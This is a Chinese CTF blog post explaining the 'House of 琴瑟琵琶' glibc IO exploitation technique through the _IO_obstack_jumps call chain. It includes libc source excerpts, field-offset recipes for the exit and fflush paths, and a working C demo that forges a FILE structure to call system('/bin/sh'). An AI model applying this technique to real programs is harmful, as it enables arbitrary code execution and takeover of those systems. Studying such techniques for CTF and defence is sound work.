首页 House_of_琴瑟琵琶
文章
取消

House_of_琴瑟琵琶

引言

这几天上看雪看文章,发现libc居然都出到2.37了,去年2.36的题目都没做过多少(我是FW😭),大佬说2.37之后libc改了很多,没法用House_of_Apple打了,于是介绍了一种新的打法,叫House_of_琴瑟琵琶

大佬原话:

我认为GNU下一步会按2.37的思路不断修改IO,以前很多方法都会渐渐失效,在此我也决定将几个2.37以后失效的攻击链公布出来。(tql)

利用条件

  • 可知heap_base和lib_base
  • 能打一次largebin_attack想办法让其走我们伪造的IO
  • 程序执行IO的有关操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发

有关libc版本的问题

此攻击方式可以在2.34-2.36使用,大佬说看源码应该可以

攻击路径

主要是利用_IO_obstack_jumps中的 _IO_obstack_xsputn函数

1
2
3
4
5
_IO_obstack_xsputn
        obstack_grow (obstack, data, n);;
                _obstack_newchunk (__o, __len);
                         new_chunk = CALL_CHUNKFUN (h, new_size);
                                     (*(h)->chunkfun)((h)->extra_arg, (size))

有关结构体

_IO_obstack_jumps跳转表

只有两个表项被初始化了,分别为_IO_obstack_overflow和_IO_obstack_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, NULL),
  JUMP_INIT(overflow, _IO_obstack_overflow),
  JUMP_INIT(underflow, NULL),
  JUMP_INIT(uflow, NULL),
  JUMP_INIT(pbackfail, NULL),
  JUMP_INIT(xsputn, _IO_obstack_xsputn),
  JUMP_INIT(xsgetn, NULL),
  JUMP_INIT(seekoff, NULL),
  JUMP_INIT(seekpos, NULL),
  JUMP_INIT(setbuf, NULL),
  JUMP_INIT(sync, NULL),
  JUMP_INIT(doallocate, NULL),
  JUMP_INIT(read, NULL),
  JUMP_INIT(write, NULL),
  JUMP_INIT(seek, NULL),
  JUMP_INIT(close, NULL),
  JUMP_INIT(stat, NULL),
  JUMP_INIT(showmanyc, NULL),
  JUMP_INIT(imbue, NULL)
};

_IO_obstack_file结构体

这个结构体和一般的IO_FILE_PLUS没啥区别,就是在下面多了一个指向obstack结构体的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct _IO_obstack_file
{
  struct _IO_FILE_plus file;
  struct obstack *obstack;
};
 
struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
                      chunk contains a zero-length object.  This
                      prevents freeing the chunk if we allocate
                      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
                     handler on error, but retained for binary
                     compatibility.  */
};

调用链分析

_IO_obstack_xsputn函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static size_t _IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
 
  if (fp->_IO_write_ptr + n > fp->_IO_write_end)
    {
      int size;
 
      /* We need some more memory.  First shrink the buffer to the
     space we really currently need.  */
      obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
 
      /* Now grow for N bytes, and put the data there.  */
      obstack_grow (obstack, data, n); //执行次函数
 
      /* Setup the buffer pointers again.  */
      fp->_IO_write_base = obstack_base (obstack);
      fp->_IO_write_ptr = obstack_next_free (obstack);
      size = obstack_room (obstack);
      fp->_IO_write_end = fp->_IO_write_ptr + size;
      /* Now allocate the rest of the current chunk.  */
      obstack_blank_fast (obstack, size);
    }
  else
    fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);
 
  return n;
}

obstack_grow宏定义

1
2
3
4
5
6
7
8
9
# define obstack_grow(OBSTACK, where, length)                      \
  __extension__                                      \
    ({ struct obstack *__o = (OBSTACK);                          \
       int __len = (length);                              \
       if (__o->next_free + __len > __o->chunk_limit)                  \
     _obstack_newchunk (__o, __len);                      \    //执行次函数
       memcpy (__o->next_free, where, __len);                      \
       __o->next_free += __len;                              \
       (void) 0; })

_obstack_newchunk函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void
_obstack_newchunk (struct obstack *h, int length)
{
  struct _obstack_chunk *old_chunk = h->chunk;
  struct _obstack_chunk *new_chunk;
  long new_size;
  long obj_size = h->next_free - h->object_base;
  long i;
  long already;
  char *object_base;
 
  /* Compute size for new chunk.  */
  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
  if (new_size < h->chunk_size)
    new_size = h->chunk_size;
 
  /* Allocate and initialize the new chunk.  */
  new_chunk = CALL_CHUNKFUN (h, new_size); //调用函数位置
  if (!new_chunk)
    (*obstack_alloc_failed_handler)();
  h->chunk = new_chunk;
  new_chunk->prev = old_chunk;
  new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;
 
  /* Compute an aligned object_base in the new chunk */
  object_base =
    __PTR_ALIGN ((char *) new_chunk, new_chunk->contents, h->alignment_mask);
 
  /* Move the existing object to the new chunk.
     Word at a time is fast and is safe if the object
     is sufficiently aligned.  */
  if (h->alignment_mask + 1 >= DEFAULT_ALIGNMENT)
    {
      for (i = obj_size / sizeof (COPYING_UNIT) - 1;
       i >= 0; i--)
    ((COPYING_UNIT *) object_base)[i]
      = ((COPYING_UNIT *) h->object_base)[i];
      /* We used to copy the odd few remaining bytes as one extra COPYING_UNIT,
     but that can cross a page boundary on a machine
     which does not do strict alignment for COPYING_UNITS.  */
      already = obj_size / sizeof (COPYING_UNIT) * sizeof (COPYING_UNIT);
    }
  else
    already = 0;
  /* Copy remaining bytes one by one.  */
  for (i = already; i < obj_size; i++)
    object_base[i] = h->object_base[i];
 
  /* If the object just copied was the only data in OLD_CHUNK,
     free that chunk and remove it from the chain.
     But not if that chunk might contain an empty object.  */
  if (!h->maybe_empty_object
      && (h->object_base
      == __PTR_ALIGN ((char *) old_chunk, old_chunk->contents,
              h->alignment_mask)))
    {
      new_chunk->prev = old_chunk->prev;
      CALL_FREEFUN (h, old_chunk);
    }
 
  h->object_base = object_base;
  h->next_free = h->object_base + obj_size;
  /* The new chunk certainly contains no empty object yet.  */
  h->maybe_empty_object = 0;
}

CALL_CHUNKFUN宏定义

其中h表示的是我们的obstack结构体指针,chunkfun,use_extra_arg和extra_arg是属于obstack结构体里面的值

1
2
3
4
# define CALL_CHUNKFUN(h, size) \
  (((h)->use_extra_arg)                                  \
   ? (*(h)->chunkfun)((h)->extra_arg, (size))                      \  // 存在函数指针调用
   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

调用链总结

其实很简单,只要我们在构造的IO_FILE的vtable后面加一个obstack指针,控制其指向的obstack的属性就可以了,如h->chunkfun=&system与h->extra_arg=&bin_sh

当然了,也要你构造的IO_FILE能调用_IO_obstack_xsputn函数

Demo调试

这个Demo是我按照大佬的调用思路去写的,走的是exit调用IO,事先将IO_list_all改成了我们的fake_IO_FILE

libc版本2.34_3.2

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>

int main(){
	size_t *p1 = malloc(0x420);

	size_t *fake_io;
	fake_io=p1-2;

	size_t put_addr = &puts;
	size_t lib_base = put_addr - 0x80ef0;
	size_t IO_list_all = lib_base + (0x7ffff7fb4660 - 0x7ffff7d9a000);
	size_t _IO_obstack_jumps_addr = lib_base + (0x7ffff7fb03c0 - 0x7ffff7d9a000);
	size_t sys = lib_base + (0x7ffff7deaae0 - 0x7ffff7d9a000);
	size_t bin_sh = lib_base + (0x7ffff7f71cba - 0x7ffff7d9a000);
	
	//make fake_IO
	//*fake_io = 0x800;
	*(fake_io+0x28/8)=0x1;				//fp->_IO_write_ptr > fp->_IO_write_base
	*(fake_io+0xd8/8)=_IO_obstack_jumps_addr + 0x20;// call _IO_obstack_xsputn
	*(fake_io+0xe0/8)=fake_io+0xf0/8;	//obstack
	
	size_t *fake_obstack = fake_io+0xf0/8;
	//make obstack
	*(fake_obstack+0x38/8)=sys;			//h->chunkfun
	*(fake_obstack+0x48/8)=bin_sh;		//h->extra_arg
	*(fake_obstack+0x50/8)=1;			//h->use_extra_arg
	
    //change IO_list_all
	size_t *p2 = (size_t *)IO_list_all;
	*p2 = fake_io;
	exit(0);

}

直接开调

构造FAKE_IO_FILE结构体

image-20230207211129095

可以看到vtable改成了到时候可以调用_IO_obstack_xsputn函数

obstack结构体就刚好也在这个堆块内,就放在了下面,这个结构体放在哪没什么所谓,另一个堆块也行

构造obstack结构体

image-20230207211332358

刚好也是在堆块内部,其实放哪无所谓

改IO_list_all就不看了,这个按照正常来说是通过largebin写一个堆地址的

跟踪到IO_flush_all_lock准备调用_IO_obstack_xsputn

image-20230207211628743

调用_obstack_newchunk

image-20230207211727006

可以看到RDI是我们的obstack指针

调用CALL_CHUNKFUN来运行system

image-20230207211848059

FAKE_IO_FILE伪造

那FAKE_IO如何伪造才可以调用_IO_obstack_xsputn函数呢

走exit的

对fp的设置如下:

  • vtable设置为_IO_obstack_jumps地址(加减偏移),使其能成功调用_IO_obstack_xsputn即可,也就是*(fp+0xd8)=_IO_obstack_jumps地址(加减偏移)
  • fp->_mode <= 0,也即*(fp+0xc0) = 0
  • fp->_IO_write_ptr >fp->_IO_write_base,也即*(fp+0x28) > *(fp+0x20)
  • fp->h = 地址A,也即*(fp+0xe0)=地址A
  • fp->h->chunkfun=&system,也即*(地址A+0x38)=&system
  • fp->h->extra_arg=&bin_sh,也即*(地址A+0x48)=&bin_sh
  • fp->h->use_extra_arg=1,也即*(地址A+0x50)=1

走fflush的

有很多,这里只说一种

对fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格
  • vtable设置为_IO_obstack_jumps地址(加减偏移),使其能成功调用_IO_obstack_xsputn即可,也就是*(fp+0xd8)=_IO_obstack_jumps地址(加减偏移)
  • fp->h = 地址A,也即*(fp+0xe0)=地址A
  • fp->h->chunkfun=&system,也即*(地址A+0x38)=&system
  • fp->h->extra_arg=&bin_sh,也即*(地址A+0x48)=&bin_sh
  • fp->h->use_extra_arg=1,也即*(地址A+0x50)=1

走__malloc_assert

未完工,house_of_cat还不是很熟XD,不过浅浅看了一下调用链和fflush差不多呀….

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}

总结

最后感谢大佬提供的思路,不知道是不是以后不能打wide_data了,先把这个学一下把,不过其实说实话看上去和打wide_data差不多,只不过是利用了其他的结构体和字段而已

本文由作者按照 CC BY 4.0 进行授权